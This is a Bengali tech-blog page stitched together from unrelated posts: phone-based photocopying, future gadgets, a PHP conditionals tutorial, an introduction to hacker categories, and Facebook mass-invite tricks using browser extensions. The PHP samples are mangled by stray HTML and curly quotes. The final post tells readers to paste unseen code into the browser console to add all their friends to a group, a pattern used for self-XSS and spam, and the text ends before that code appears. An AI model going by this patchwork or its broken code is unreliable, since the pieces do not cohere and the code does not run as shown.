<iframe src="http://www.fanslounge.tv/live/stream/foxsports3.php" width="650" height="490" frameborder="0"></iframe>
মাঝে মধ্যে দেখা যায় আশেপাশে কোন ফটোকপির দোকান নেই, অথচ বন্ধুর নোট কপি করে নেয়াটা খুব জরুরী। এজন্য আপনাকে দূরে দোকানে গিয়ে ফটোকপি করে মূল কপিটা আবার বন্ধুকে ফেরত দিয়ে তারপর বাসায় যেতে হবে!/:)
ডাবল এই খাটুনী বাচিয়ে দিতে পারেন, যদি বাসায় প্রিন্টার; আর পকেটে ভাল মানের একটা ক্যামেরা ফোন থাকে। :)
অনেকে কোয়ালিটি নিয়ে ভাবতে পারেন। এই টিউনের শেষে দেখতে পারবেন বাজারের দেড় লাখ টাকা দামের ডিজিটাল ফটোকপি মেশিনের চেয়েও চকচকে প্রিন্ট সম্ভব মোবাইলে, যদি ম্যাক্রো মুডের সুবিধাসহ মোবাইল ব্যবহার করেন।B-)

টিউটোরিয়াল

1. প্রথমে ম্যাক্রো বা ক্লোজাপ মুডে ছবি তুলে নিন। ভাল আলোতে হাত না কাঁপিয়ে তুলবেন। আমরা নিচের মত ছবি পেলাম। (ক্যামেরায় ম্যাক্রো/ক্লোজাপ না থাকলে নরমাল মুডে পরিষ্কার করে ছবি তুলুন)
ক্লোজাপ/ম্যাক্রো মুড অপশনটা মোবাইলে নিচের মত পাবেন, যদি ক্যামেরা সাপোর্ট করে তো!
(সাপোর্ট না করলে জোর করে করানোর কোন উপায় নাই।/:) নেক্সটবার মোবাইল কেনার সময় মেগা পিক্সেল না দেখে ক্যামেরা অটোফোকাস সাপোর্ট করে কিনা আর লেন্সটা কার্ল জেইস টাইপ ব্যান্ডের কিনা জেনে কিনুন। কারণ মোবাইল ক্যামেরায় মেগা পিক্সেল ধুয়ে পানি খাওয়া ছাড়া অন্য কাজে তেমন লাগেনা /:))
2. ছবির দুটিকে বাড়তি অংশ রয়েছে। এছাড়া ছবিটিকে সাদাকালো বানাতে হবে। তাই ফটোশপে ছবিটি ওপেন করুন। 1নং এর Crop Tool ব্যবহার করে বাড়তি জায়ড়াগুলো ফেলে দিন।

3. এবার Image>Mood থেকে Grayscale সিলেক্ট করে ছবিকে সাদাকালো বানিয়ে দিন।
4. এবার Image>Adjustment> Brightness/Contrast এ ক্লিক করে কন্ট্রাস্ট  অ্যাডজাস্ট করুন। কন্ট্রাস্ট 100 দেবেন ব্রাইটনেস ইচ্ছে মত। এই ধাপটি আপনাকে ৫-৬ বার করতে হবে।
এভাবে ৫-৬ বার কন্ট্রাস্ট 100 করায় ছবিটি নিচের মত হয়ে যাবে। 1 ক্লিকে করতে ফটোশপের B/W বানানোর এই প্লাগইনসটা ব্যবহার করতে পারেন।
এখন চাইলে অপ্রয়োজনীয় অংশগুলো পরিষ্কার করতে পারেন। না চাইলে নাই। পরিষ্কার করতে ইরেজার টুল সিলেক্ট করুন। এরপর ঘষে পরিষ্কার করুন।
ফাইনালী আমাদের ছবি রেডি সেটা দেখতে হল এরকম :D
এবার ছবিটি সেভ করুন। প্রিন্টের জন্য ফটোশপ ব্যবহার করবেন না। কারণ এটা ছবি হিসাবে প্রিন্ট করবে, সময় বেশী লাগবে, কালির খরচ বেশী হবে। তারপরও কোয়ালিটি ভাল পাবেন না। ছবিকে ডকুমেন্ট হিসাবে প্রিন্টের জন্য ব্যবহার করতে হয় ইলাস্ট্রেটর। সেভ করা ছবিটি ইলাস্ট্রেটর দিয়ে ওপেন করুন।
এবার প্রিন্ট চাপুন! :D :D
পেয়ে গেলেন ঝকঝকে, তকতকে ক্লিয়ার ডিজিটাল ফটোকপি যেটা অরজিনাল পেপারের চাইতেও ক্লিয়ার!! :D

নিচে কাগজে প্রিন্টকৃত বাস্তব ডেমো দেখানো হয়েছে

(সকল ছবি ও ফটোকপির কাজ NOKIA N73 দিয়ে করা হয়েছে)
অনেকেই বিশ্বাস করেন যে আমরা এখন সবচেয়ে তীব্র প্রযুক্তিগত বিপ্লব সম্মুখীন করছি এবং আমরা উচ্চ প্রযুক্তির যুগে রূপান্তরিত হচ্ছি, যেখানে নতুন অগ্রগতির কাছে পুরনো মডেল বিলুপ্ত হবে। এখানে কিছু গেজেট আছে যা খুব অদূর ভবিষ্যতে মুক্তি পাবে (কিছু কিছু ইতিমধ্যে মুক্তি পেয়েছে) এসব বেশিরভাগ আধুনিক ডিভাইস ই পালটে দেবে আমাদের জীবন - বিশ্ব যেখানে আমরা বাস করি - এবং আমাদের মঙ্গলের জন্যেই।
প্রতিটি গ্যাজেট নতুন নতুন প্রযুক্তির ধারা বয়ে এনেছে। এসব প্রযুক্তি এতটাই আগাম যে আগামী ১০ বছর পরও এগুলো আমাদের বিস্মিত করবে। আমাদের জীবনের যে চলমান গতিধারা তা পুরোটাই বদলে দেবে এসব প্রযুক্তি। চলুন বিস্ময়কর এসব ভবিষ্যৎ প্রযুক্তি গুলো দেখে নেই এবং এদের সম্পর্কে কিছু তথ্য জেনে নেই...

দাঁতের সেন্সর (Tooth Sensor)

Fear of the dentist নামক একটি রোগ আছে। যেটিকে Dental Phobia বলা হয়। এর কারনে মানুষ দাঁতের ডাক্তার এর কাছে যেতে ভয় পায়। তারা দাঁতের ডাক্তার এর কাছে যেতে চায় না এবং দাঁতের ডাক্তার কে সাহায্য করে না। অনেকে তো যায়ই না।
সত্য কথা হল, আসলে কেওই দাঁতের ডাক্তার এর কাছে যেতে পছন্দ করে না। সাধারণ কোন চেকাপ এর জন্যও কেও দাঁতের ডাক্তার এর কাছে যেতে চায় না। প্রিন্সটন এবং টাফটস এর বিজ্ঞানীরা একটি দাঁতের সেন্সর নিয়ে কাজ করছে যেটি আমাদের দাঁতের ডাক্তার এর কাছে যাবার প্রয়োজন কমিয়ে দিবে। আমাদের অপ্রয়জনে এবং ঘন ঘন দাঁতের ডাক্তার এর কাছে যেতে হবে না।
এই সেন্সর টি আপনার দাঁতে কোন ব্যাকটেরিয়া পেলে বা অন্য কোন সমস্যা পেলে আপনাকে জানিয়ে দিবে এবং কেবল তখনই আপনাকে দাঁতের ডাক্তার এর কাছে যেতে হবে।

ডানাযুক্ত রোলার কোস্টার (Wing Roller Coasters)

Bollinger এবং Mabillard এর তৈরি ভবিষ্যতের মজা এবং বিনোদনের দুনিয়ায় আপনাকে স্বাগতম। আপনারা অনেকে হয়তো বাংলাদেশে বিভিন্ন রোলার কোস্টার এ উঠেছেন। কিন্তু এই ডানাযুক্ত রোলার কোস্টার আপনার চরা সেই রোলার কোস্টার থেকে অনেকটা ভিন্ন এবং নতুন আঙ্গিকের। এতে যাত্রীরা রোলার কোস্টার এর ডানার মত স্থান এ বসবে এবং এর অনুভুতি থাকবে একটি এরোপ্লেন এর ডানায় চরার মত। তাদের উপরে এবং নিচে কিছুই থাকবে না। বিশ্বে এখন পর্যন্ত ৪ টি ডানাযুক্ত রোলার কোস্টার রয়েছে। ৩ টি যুক্তরাষ্ট্রে এবং আরেকটি ২০১৩ সালের কোন এক সময় চায়না তে স্থাপনের পরিকল্পনা আছে।
যাদের উচ্চতা ভীতি আছে বা বমি করার অভ্যাস আছে তাদের জন্য এটি নয়। সবকিছু সবসময় সঠিক ভাবে যায় না, হোক এটা যতই উন্নত প্রযুক্তি।

অকুলাস রিফট (Oculus Rift)

অনেকে এটিকে গেমিং বিপ্লব বলে- এবং ভুল বলে না। Oculus Rift একটি ভার্চুয়াল বাস্তব হেডসেট, যেটির চিরকালের জন্য গেমিং শিল্প পরিবর্তন করার ক্ষমতা আছে।
গেমাররা ইতিমধ্যেই পিসি গেম ও বর্তমান কনসোল থেকে অনেক লাভবান হচ্ছে।  কিন্তু অকুলাস রিফট এমন একটি ডিভাইস যা সম্ভবত গেমারদের একশন এর মাঝখানে নিয়ে আসবে। আমরা শুধুমাত্র কল্পনাই করতে পারি যে এই নতুন প্রযুক্তিটি কিভাবে গেমিং এ প্রভাব ফেলবে। এবং ইতিমধ্যেই আমরা অনেকটা জানি, মাল্টিপ্লেয়ার কেমন হবে, সম্ভবত এক বা দুই দশক পর।

সমান্তরাল (Parallella)

Parallella কম্পিউটার গঠন এর পদ্ধতি পরিবর্তন করে দিবে। এবং এডেপ্টিভা (Adapteva) সবাইকে এই বিপ্লবে অংশগ্রহণ করার সুযোগ দিচ্ছে। সাধারণ ভাবে তৈরি, এটি সাধারণ ব্যাক্তির জন্য একটি সুপার কম্পিউটার।
বাস্তব সময়ে বস্তুর অনুসরণকরণ, হলোগ্রাফিক মাথা প্রদর্শন, কণ্ঠস্বর চেনা হয়ে যাবে অধিক কার্যকর এমনকি বুদ্ধিমতী। এর পুরো ধন্যবাদটা Parallella কে। মুলত এটিকে একটি মিনি সুপার কম্পিউটার বিবেচনা করলে, এর মুল্য অবিশ্বাস্য। মাত্র 99$ যা বাংলাদেশি টাকায় ৭৫০০ টাকা মাত্র! এটি নন-প্রোগ্রামার এবং নন-লিনাক্স ব্যবহার কারীদের জন্য প্রস্তাবিত নয়। তবে আপনি যদি জানেন, এটি কিভাবে ডেভেলপমেন্ট সফটওয়্যার দিয়ে লোড হয়, তাহলে হয়তো ব্যবহার করতে পারবেন।

4k টিভি (The 4K TVs)

পুরনো মডেল এর টেলিভিশন গুলো পরিবর্তন করে নতুন মডেল এর টেলিভিশন চালু করার প্রবণতা বেশ কয়েকবছর ধরেই চলছে। তবে 4k মডেলের টিভি পুরনো মডেলের টিভির শিল্পে চূড়ান্ত আঘাত হানবে। এই টিভিতে আগের HDTV -র তুলনায় ৪ গুন বড় ছবি প্রদর্শিত হবে। সুতরাং বোঝাই যাচ্ছে, কেন এটি এত গ্রহণ যোগ্যতা পাচ্ছে।
বর্তমানে এর মুল্য কিছুটা বাধাদায়ক। এবং এর যেসব প্রোগ্রাম তা অন্য কোন টেলিভিশন পুরন করতে পারবে না। কি মনে হয়, এই 4k টিভি কবে নাগাত কিনতে পারবেন? আপনি চাইলে এখনই কিনতে পারেন, এখানে ক্লিক করে। সনির ৫৫ এবং ৬৫ ইঞ্চির মডেল আপনি পাবেন ৫০০০ ডলার এ। এবং ৮৪ ইঞ্চির দাম পরবে প্রায় ২৪০০০ ডলার। এখানে ক্লিক করে এর একটি ভিডিও ক্লিপ দেখে নিতে পারেন।

বুদ্ধিমান ঘড়ি (Smart Watch)

"Pebble" ২০১৩ সালে আনুষ্ঠানিক ভাবে মুক্তি পায়, যেটি প্রথম বুদ্ধিমান ঘড়ি। একটি ঘড়ির সাধারণ কাজের পাশাপাশি এটি সাধারণ এন্ড্রয়েড বা আইওএস এপ্লিকেশন সহ একটি স্মার্টফোন বা ট্যাবলেট এর সাথে সংযুক্ত থাকবে। এর মাধ্যমে ঘড়িটি দিনের সময়ের পাশাপাশি বিভিন্ন গুরুত্বপূর্ণ তথ্য আমাদের দিবে, যেমন মিসড কল, মেসেজ, ইমেইল ইত্যাদি। ডিভাইসটি একটি অ্যাপ স্টোর এর সাথেও যুক্ত থাকবে, এতে ডেভেলপার রা আরো দারুন এপলিকেশন তৈরি করতে পারে যাতে করে ব্যবহারকারীরা লাভবান হয়।

বিলবোর্ড যেটা বিশুদ্ধ পানি উত্পাদন করে

বর্তমানে এডভারটাইজিং এর মত সমাজে পরিষ্কার পানিও দরকারি। সুতরাং একটি কোম্পানিকে এই দুটিকে একত্রিত করার জন্য কঠোর চেষ্টা করতে দেখে মন সতেজ হয়ে উঠে। পেরুর লিমায় অবস্থিত The University of Engineering and Technology of Peru এবং অ্যাড এজেন্সি Mayo DraftFCB গঠিত এই বিলবোর্ডটি প্রতিদিন প্রায় ২৬ গ্যালন পানি উৎপাদন করতে সক্ষম। এটি পাচটি পরিস্রাবণ ডিভাইস ব্যবহার করে এবং লিমার আর্দ্র বাতাস এটিকে সাহায্য করে।
এই বিলবোর্ড শুধুমাত্র পেরুর সর্ববৃহৎ শহরের জন্য ডিজাইন করা হয়নি- যে শহরে প্রায় ১.২ মিলিয়ন মানুষ পর্যাপ্ত পানি পায় না। সাথে শিশুদের UTEC প্রয়োগ এবং ইঞ্জিনিয়ারিং পড়ার উৎসাহ যোগাতে এটি ডিজাইন করা হয়েছে। এটি সবচেয়ে বড় প্রযুক্তিক বিপ্লব হতে পারে, যেটি সবচেয়ে বড় মানবিক সমস্যার দূর করবে। অথবা এটি একটি নিছক উচ্চাভিলাষী পরিকল্পনা হতে পারে যা আগামী ধাপ পর্যন্ত বিবর্ধিত হতে পরবে না। সময়ই সবকিছু বলে দিবে।

গুগল গ্লাস

মানুষ এর আগেও বুদ্ধিমান চশমা তৈরি করার চেষ্টা করেছেন, কিন্তু সফল হননি। কিন্তু গুগল গ্লাস ইতিমধ্যে সফলতার মুখ দেখছে। শুধু তাই নয়, যারা গুগল গ্লাস ব্যবহার করেছে তারা বলেছে এটি সত্যিই অসাধারন। আপনি যার দিকে তাকাবেন তার বিস্তারিত তথ্য আপনার চোখে ভেসে উঠবে। গুগল গ্লাস সম্পর্কে আরো বিস্তারিত পরুন এখানেঃ গুগল গ্লাস Google Glass এর যাদু [স্পেকস সহ আপডেটেড]

মায়ো (Myo)

মায়ো একটি হাতের ব্যান্ড, যা আগামী প্রজন্মের গেসচার কনট্রোল হিসেবে কাজ করে। এটি হাতের পেশীর বৈদ্যুতিক কার্যকলাপ ধরতে পারে। এর মাধ্যমে বৈদ্যুতিক যন্ত্রপাতি নিয়ন্ত্রণ করা যাবে। কোন তার ছাড়াই ব্লুটুথ এর মাধ্যমে এটির সাহায্যে কম্পিউটার চালনা করা যাবে। বর্তমানে এটি উইন্ডোজ এবং ম্যাক ওএস সাপোর্ট করে এবং খুব শীঘ্রই আইওএস ও এন্ড্রয়েড সাপোর্ট করবে। ১৪৯$ এর বিনিময়ে এটি আগাম অর্ডার দিয়ে রাখতে পারেন। ২০১৩ সালের মদ্ধেই এটি বিতরণ শুরু হবে বলে জানা গেছে।
এটি কতটা সফল হবে তা নির্ভর করে এটি কতটা ইউজার সাপোর্টিভ হবে। এটি যত বেশি অ্যাপ্লিকেশান সাপোর্ট করবে এর জনপ্রিয়তা তত বৃদ্ধি পাবে। এটি আরো জনপ্রিয় হবে যদি এটিকে গেমিং এ কাজে লাগানো যায়।

আরগাস ২ রেটিনাল প্রস্থেসিস পদ্ধতি (Argus II Retinal Prosthesis System)

আরগাস ২ এমন একটি ডিভাইস যা সত্যি সত্যি আমাদের জীবনধারা বদলে দিবে। সত্যি বলতে অন্ধদের জীবনধারা বদলে দিবে। এটি ছোট্ট একটি ক্যামেরার সাহায্যে বিভিন্ন ইমেজ ক্লিপ ধারন করে এবং সেগুলোকে নির্দেশে রূপান্তরিত করে ব্রেইন এ পাঠায়।
অর্থাৎ এই ডিভাইস ব্যবহারের মাধ্যমে একজন অন্ধ প্রায় একজন সুস্থ মানুষের মতই সব দেখতে এবং করতে পারবে। সে একটি চশমা পরে থাকবে, যেই চশমায় থাকবে ছোট্ট ক্যামেরা। এবং সেটি তার চোখের সামনের বিভিন্ন ছবি তুলে সেগুলোকে নির্দেশাবলী তে রূপান্তরিত করবে। এরপর চাক্ষুষ তথ্য হিসেবে ব্রেইন এ পাঠাবে। এভাবে সে মানুষটি বুঝতে পারবে কখন কি করতে হবে, কোথায় কি করতে হবে, সামনে কে বা কি আছে ইত্যাদি। এটি সত্যি একটি প্রযুক্তির বিপ্লব, যা বিশ্ব জুড়ে কোটি কোটি দৃষ্টি প্রতিবন্ধীদের দৃষ্টিশক্তি পুনরুদ্ধার করবে।
ন মন্তব্য আমাদের জানান comment এর মাধ্যমে।
কোনো শর্তের উপর কোনো action নেয়ার জন্য কন্ডিশনাল স্টেটমেন্ট ব্যাবহৃত হয়।ধরুন আমি আমার ওয়েবসাইটে এমন একটা feature যোগ করতে চাই যাতে যদি কেউ আমার সাইটে দুপুর ১২ টার আগে ঢুকে তাহলে দেখাবে “Good Morning” আর যদি কেউ বিকেল ৫ টার পর ঢুকে তাহলে দেখাবে “Good evening” এই ধরনের বরং এর চেয়েও মজাদার ও অ্যাডভান্সড কাজগুলো করতে Conditional statement এর দরকার,condition এর উপর ভিত্তি করে পিএইচপি স্বয়ংক্রিয়ভাবে কাজগুলো করতেই থাকে।
পিএইচপি তে কয়েক ধরনের Conditional statement আছে-
*if statement
*if…else statement
*if…elseif…else statement
*Switch statement

*if statement

if statement টি দিয়ে কিছু কোড execute করা হয় যখন আমাদের দেয়া condition টি true হয়।নিচে উদাহরনের আউটপুট হবে Have a nice day যদি ঐ দিন Saturday হয় যেদিন কোডটা লিখে রান করাবেন।
1
2
3
4
5
<pre> <?php
 $d=date("D");
 if ($d=="Sat")
echo "Have a nice Day";
 ?></pre>

*if…else statement

আচ্ছা কখনও তো একথা শুনেছেন যদি পরিশ্রম কর তাহলে ভাল ফল পাবে,কি হবে যদি পরিশ্রম না করেন,ফেইল।এটাই if…else statement এর উদাহরন।এগুলোতো অনেক সময় আমরা বাস্তবেই ব্যাবহার করে থাকি এখন শুধু এটাকে পিএইচপি কোড দিয়ে লিখব।
1
2
3
4
5
6
7
8
9
</span>
 
<span style="font-family: Consolas, Monaco, monospace; font-size: 12px; line-height: 18px;"> <?php</span>
<pre> $d=date("D");
 if ($d=="Sat") echo "Have a nice Day";
else
echo “Today is not saturday”;
 ?>
 <span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">



দেখুন condition যেটা দিয়েছি যদি সেটা true হয় অর্থ্যাৎ কোডটা যেদিন রান করাবেন সেদিন যদি Saturday হয় তাহলে আউটপুট হবে Have a nice day আর তা নাহলে Today is not Saturday.

*If…elseif…else statement

এই statement দ্বারা এক বা একাধিক কোডের ব্লক execute করা যায়।
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
&nbsp;
<pre><html>
 <body>
 <?php
 if ($number>=60)
 echo "First Division";
 elseif ($number>=45 and $number<60)
echo “Second Division”;
 elseif($number>=33 and $number<45)
 echo "Third Division";
else
echo “Failed”;
 ?>
 </body>
 </html></pre>

কিছু কথা

আমি আপনাদের যা কিছু শেখাবো তার বেশীর ভাগ  আমি শিখেছি P1n1x_Cr3w থেকে।  তাই এর ক্রেডিট পুরোপুরি ভাবে আমার না। আপনারা দোয়া করবেন যাতে সব গুলো পর্ব ভালো ভাবেই শেষ করতে পারি। তবে "Hacking is not a crime, its an art of logic" কিংবা "হ্যাকিং শুধু শেখার জন্য। খারাপ উদ্দেশ্যে এটা ব্যাবহার করবেন না" এ জাতীও কিছু আমি বলবনা। হ্যাকিং শেখার জিনিস ঠিক , কিন্তু এটা শিখতে গেলে হ্যাক করতেই হবে। আর হ্যাক করলে কারও না কারও ক্ষতি হবেই। আর অন্যের ক্ষতি করা অবশ্যই অপরাধ। কিন্তু কারও ক্ষতি করলে কর্তৃপক্ষ দায়ী থাকবে না।

ভূমিকা

১.হ্যাকার কে?

হ্যাকার হচ্ছে সেই ব্যাক্তি জিনি নিরাপত্তা / অনিরাপত্তার সাথে জড়িত এবং নিরাপত্তা ব্যাবস্থার দুর্বল দিক খুঁজে বের করায় বিশেষ ভাবে দক্ষ অথবা অন্য কম্পিউটার ব্যাবস্থায় অবৈধ অনুপ্রবেশ করাতে সক্ষম বা এর সম্পর্কে গভীর জ্ঞানের অধিকারী।
সাধারণ ভাবে হ্যাকার শব্দটি কালো টুপি হ্যাকার অর্থেই বেশী ব্যাবহার করা হয় যারা মুলত ধ্বংস মূলক ও অপরাধ মূলক কর্ম কান্ড চালায়। এছাড়াও নৈতিক হ্যাকার এবং নৈতিকতা সম্পর্কে অপরিষ্কার হ্যাকারও আছে।
এদের মধ্যে পার্থক্য করার জন্য প্রায়শ ক্র্যা - কার শব্দটি ব্যাবহার করা হয়, যা কম্পিউটার নিরাপত্তা হ্যাকার থেকে একাডেমিক বিষয়ের হ্যাকার কে আলাদা করার জন্য ব্যাবহার করা হয় অথবা অসাধু হ্যাকার থেকে নৈতিক হ্যাকারের পার্থক্য বুঝতে ব্যাবহার করা হয়।

২. হ্যাকারের শ্রেণীবিভাগ

সাদা টুপি হ্যাকার (White Hat Hacker) :   এরা কম্পিউটার তথা সাইবার ওয়ার্ল্ড এর নিরাপত্তা প্রদান করে। এরা কখনো অপরের ক্ষতি সাধন করে না। এদেরকে ইথিকাল হ্যাকার ও বলা হয়।
কালো টুপি হ্যাকার (Black Hat Hacker):   হ্যাকার বলতে সাধারণত কালো টুপি হ্যাকারদেরকেই বোঝায়। এরা সব সময়ই কোন না কোন ভাবে অপরের ক্ষতি সাধন করে। সাইবার ওয়ার্ল্ড এ অনেকের কাছে এরা ঘৃণিত হয়ে থাকে।
ধূসর টুপি হ্যাকার (Grey hat Hacker): এরা এমন একধরণের হ্যাকার যারা সাদা ও কালো টুপি হ্যাকারদের মধ্যবর্তী স্থানে অবস্থান করে। এরা ইচ্ছা করলে কারও ক্ষতি সাধন করতে পারে, আবার কারও উপকার ও করতে পারে।
এলিট (Elit):  এরা খুব দক্ষ হ্যাকার। এরা সিস্টেম ক্র্যা - ক করে ভিতরে ঢুকতে পারে এবং নিজেদেরকে লুকায়িতও করতে পারে। এরা সাধারণত বিভিন্ন ধরণের এক্সপ্লয়েট খুঁজে বের করতে পারে। প্রোগ্রামিং সম্পরকেও এদের ভালো ধারনা থাকে।
স্ক্রিপ্টকিডি (Script Kiddy):  এরা নিজেরা স্ক্রিপ্ট বা টুল বানাতে পারে না। বিভিন্ন টুলস বা অন্যের বানানো স্ক্রিপ্ট ব্যাবহার করে এরা কার্যসিদ্ধি করে থাকে। এদের প্রোগ্রামিং সম্পর্কে ধারণা  বলতে গেলে থাকেই না।
নিউফাইট বা নুব : এরা হ্যাকিং শিক্ষার্থী । এরা হ্যাকিং কেবল শিখছে। অন্য অর্থে এদের বিগিনার বা নিউবি বলা যায়।

৩. কিভাবে হ্যাকার হওয়া যায়

এলিট হ্যাকার হওয়া সহজ ব্যাপার না এবং খুব তাড়াতাড়ি হওয়া যায় না। একজন হ্যাকার হিসেবে অনেক সমসসার সম্মুখীন হতে হয় এবং একটি সমস্যার চেয়ে আরও বেশী সমাধান করতে হয়। সব সময় মনে রাখতে হবে জ্ঞানই শক্তি। সব সময় ধৈর্য ধারন করতে হবে, ধৈর্য না থাকলে হ্যাকার হওয়ার আশা করবেন না।

প্রোগ্রামিং

১. প্রয়োজনীয়তা

আপনি নিজেকে জিজ্ঞাসা করতে পারেন, প্রোগ্রামিং শেখা কি খুব প্রয়োজন? উত্তর একই সাথে হ্যা এবং না। এটি সম্পূর্ণ নিরভর করবে তোমার ইচ্ছার ওপর । প্রোগ্রামিং ভালোভাবে জানা না থাকলে সঠিক ভাবে হ্যাকিং করা যাবে না। আপনি যদি প্রোগ্রামিং না বোঝেন , তাহলে আপনি স্ক্রিপ্ট কিডির শ্রেণীভুক্ত হবেন। প্রোগ্রামিং জানার কিছু সুবিধা হলোঃ
১) আপনাকে একজন  অভিজাত হ্যাকার হিশেবে বিবেচনা করা হবে।
২) এর মাধ্যমে হ্যাকাররা খুব সহজে vulnerability খুঁজে বের করে।
৩) নিজের তৈরি প্রোগ্রাম দিয়ে হ্যাক করলে আপনি নিজেই খুশি হবেন।

২. কোথা থেকে শুরু করা উচিত?

অনেক লোক সিদ্ধান্ত নেন প্রোগ্রামিং শিখবে, কিন্তু কোথা থেকে শিখবে জানেনা। আমার মতে W3schools  থেকে HTML শিখতে পারেন। পড়ে বাকিগুলো। টেকটিউন্স থেকেও শিখতে পারবেন।

৩. শেখার সর্বোত্তম উপায়

কিভাবে প্রোগ্রামিং শেখা যাবে সে প্রশ্নের উত্তর আমি দিচ্ছি...............
১) কম্পিউটার নিয়ে বাজারের যত বই পারুন সংগ্রহে রাখুন।
২) Linux ব্যাবহার করুন। উইন্ডোজ এর পাশাপাশিও ব্যাবহার করতে পারেন। হ্যাকারদের জন্য লিনাক্স এর চেয়ে ভালো কোন অপারেটিং সিস্টেম নেই। এটি আপনি এডিট ও করতে পারবেন কারণ এর সোর্স কোড উম্মুক্ত।
৩) যতো পারো প্রোগ্রামিং ল্যাঙ্গুয়েজ শিখতে থাকুন। হ্যাকারদের জন্য এটা সবচেয়ে গুরুত্বপূর্ণ। প্রোগ্রামিং ল্যাঙ্গুয়েজ এর ওপর আপনার দক্ষতা যতো বারবে আপনি তত ভালো হ্যাকার হতে পারবেন। এখন বলি কোনটা শিখবেন।
এইচটিএমএল>>জাভাস্ক্রিপ্ট>>সি>>সি++>>পার্ল>>পাইথন>>............>> এর যাত্রা শেষ হবে না।
৪) অনুশীলন , অনুশীলন , যতো পারেন অনুশীলন করুন।
সবাই আশা করি ভালই আছেন। রোযার মাসে সবাইকে সালাম ও শুভেচ্ছা জানাই। আমাদের অনেকেরই তো ফেসবুক পেজ আছে। কিন্তু ফেসবুক ফ্রেন্ড বেশি থাকলে সবাইকে এক এক করে পেজে Invite করাও তো একটা ঝামেলা। নিতান্তই বিরক্তিকর ব্যাপার। ভাবতেন, কেমন হয় যদি সবাইকে একসাথে পেজে Invite করা যায়? তাই আজকে আমি আপনাদের জন্য নিয়ে এসেছি একটা জটিল ট্রিকস যার মাধ্যমে আপনি ফেসবুকে এক ক্লিকেই সবাইকে আপনার পেজে Invite করতে পারবেন। এটি Google Chorme ও Mozilla Firebox দুটোর ক্ষেত্রেই প্রযোজ্য। তাহলে চলুন দেখে নিই কিভাবে এটা করতে হয়।

  • Google Chrome এর জন্যঃ
  • প্রথমে Google Chrome থেকে এই Extensionটি Add করে নিন।


  • Mozilla Firebox এর জন্যঃ
  • প্রথমে Mozilla Firebox থেকে এই Add-onsটি Add করে নিন।

    Mozilla Firebox হোক আর Google Chrome হোক দুইটার সিস্টেম একই। আমি Mozilla Firebox এ করে দেখালামঃ
  • প্রথমে ফেসবুকে Login করে আপনার কাঙ্ক্ষিত পেজে যান।
  • সবাইকে একসাথে Invite করার জন্য See All এ ক্লিক করুন।

  • কাজ তো শেষ প্রায়। এইবার যে বক্সটি Open হবে সেখানে দেখবেন নতুন করে 'Select All' Option এসেছে। Select All-এ ক্লিক করুন।

  • বাহ! কি চমৎকার, দেখলেন তো সবাইকেই আপনি একসাথে Select করে ফেলেছেন। দেখুন আমার ক্ষেত্রেঃ

  • এইবার শুধু Submit এ ক্লিক করে দিয়ে এক ক্লিকে সবাইকে আপনার পেজে Invite করে দিন।
  • এছাড়া আরও একটি Google Chorme এর আরেকটি Extesion আছে যার মাধ্যমে আপনি একই কাজ করতে পারবেন, কিন্তু এটাই সহজ। তাই আর অন্য কিছুর দরকার নেই। কারো ইচ্ছা হলে এই Extension টা দিয়েও একসাথে পেজে সবাইকে Invite করতে পারবেন। Extension টা নিয়ে নিন এখান থেকে।
    পোস্টটি পড়ার জন্য ধন্যবাদ সবাইকে। সবাই ভাল থাকুন।
    ফেসবুক ব্যবহার করুন এক নতুন রূপে___
    সবার ফেসবুকের লুক একই রকম। কিন্তু এমন যদি হয় আপনার ফেসবুকের লুক আপনার বন্ধুদের চেয়ে আলাদা এবং আকর্ষণীয়। আপনাদের আমি ছোট্ট একটা ট্রিক শেখাব যার মাধ্যমে আপনি খুব সহজেই আপনার ফেসবুককে এক প্রফেশনাল রূপ দিতে পারবেন। আর দেরি না করে দেখুন কিভাবে এমন টা করবেন। এই ট্রিক টা শুধু Google Chrome ব্যবহার কারীদের জন্য। আপনারা যারা ফায়ার ফক্সের ফ্যান তাদের জন্য নয়।
    কিভাবে করবেনঃ 
    ▣ এর জন্য আপনাকে শুধু একটা Extension অ্যাড করতে হবে।
    ▣ প্রথমে এই লিঙ্কে ক্লিক করুন >>> http://goo.gl/35c9E

    ▣ সেখান থেকে ADD TO CHROME এ ক্লিক করার মাধ্যমে এই এক্সটেন্সানটা অ্যাড করে নিন।
    কাজ শেষ আবার আপনার ফেসবুকে গিয়ে দেখুন। আপনার ফেসবুক এর লুক একদম পালতে গেছে।
    কিভাবে আবার আগের রূপ পাবেনঃ 
    যদি কোন কারনে আপনার এই লুক পছন্দ না হয় তাহলে আপনি নিচের পদ্ধতি অনুসরণ করুন।
    ▣ প্রথমে Setting >> Extensions এ যান।
    সেখানে NewGenBook Desktop নামের একটা Extension দেখতে পারবেন। সেটার পাশে একটা ডাস্টবিন এর icon দেখতে পারবেন।
    ▣ এই আইকনে ক্লিক করার মাধ্যমে Extension টা রিমুভ করে দিন।
    ▣ এবার ফেসবুকে গিয়ে দেখেন, আগের রূপ ফিরে এসেছে।
    ভালো লাগলে অবশই কমেন্ট করবেন।
     অনেকের দেখা যায় হাজারেরও বেশি ফ্রেন্ড থাকে ফেসবুকে। এক এক করে সবাইকে গ্রুপে অ্যাড করার চেয়ে সবাইকে একসাথে অ্যাড করাই ভাল, তাই না? চাহলে চলুন দেখি কিভাবে একসাথে গ্রপে সবাইকে অ্যাড করবেন।
    Google Chrome এর জন্যঃ
    ১.প্রথমে এই Extension টি Add করে নিন আপনার Google Chrome এ। Add করার সাথে সাথে ব্রাউজারের ডানদিকে Extension টির একটি Button আসবে।
    ২.তারপর আপনার ফেসবুক অ্যাকাউন্টে যান।
    ৩.যেই গ্রুপে সবাইকে একসাথে যোগ করতে চান সেই গ্রুপে যান।
    ৪.তারপর উপরের Extension এর Button টাতে ক্লিক করুন।

    ব্যাস। কাজ শেষ, গ্রুপ Refresh করে দেখুন সবাই আপনার কাঙ্ক্ষিত গ্রুপে যুক্ত হয়ে গেছে।
    Mozilla Firebox এর জন্যঃ
    ১.প্রথমে Mozilla Firebox Open করুন।
    ২.তারপর আপনার ফেসবুক অ্যাকাউন্টে যেয়ে যেই গ্রুপে সবাইকে একসাথে যোগ করতে চান সেই গ্রুপে যান।
    ৩. তারপর চাপুন Ctrl + Shift + K.একটি বক্স Open হবে।
    ৪.তারপর বক্সটিতে নিচের কোডটি Paste করে দিন।
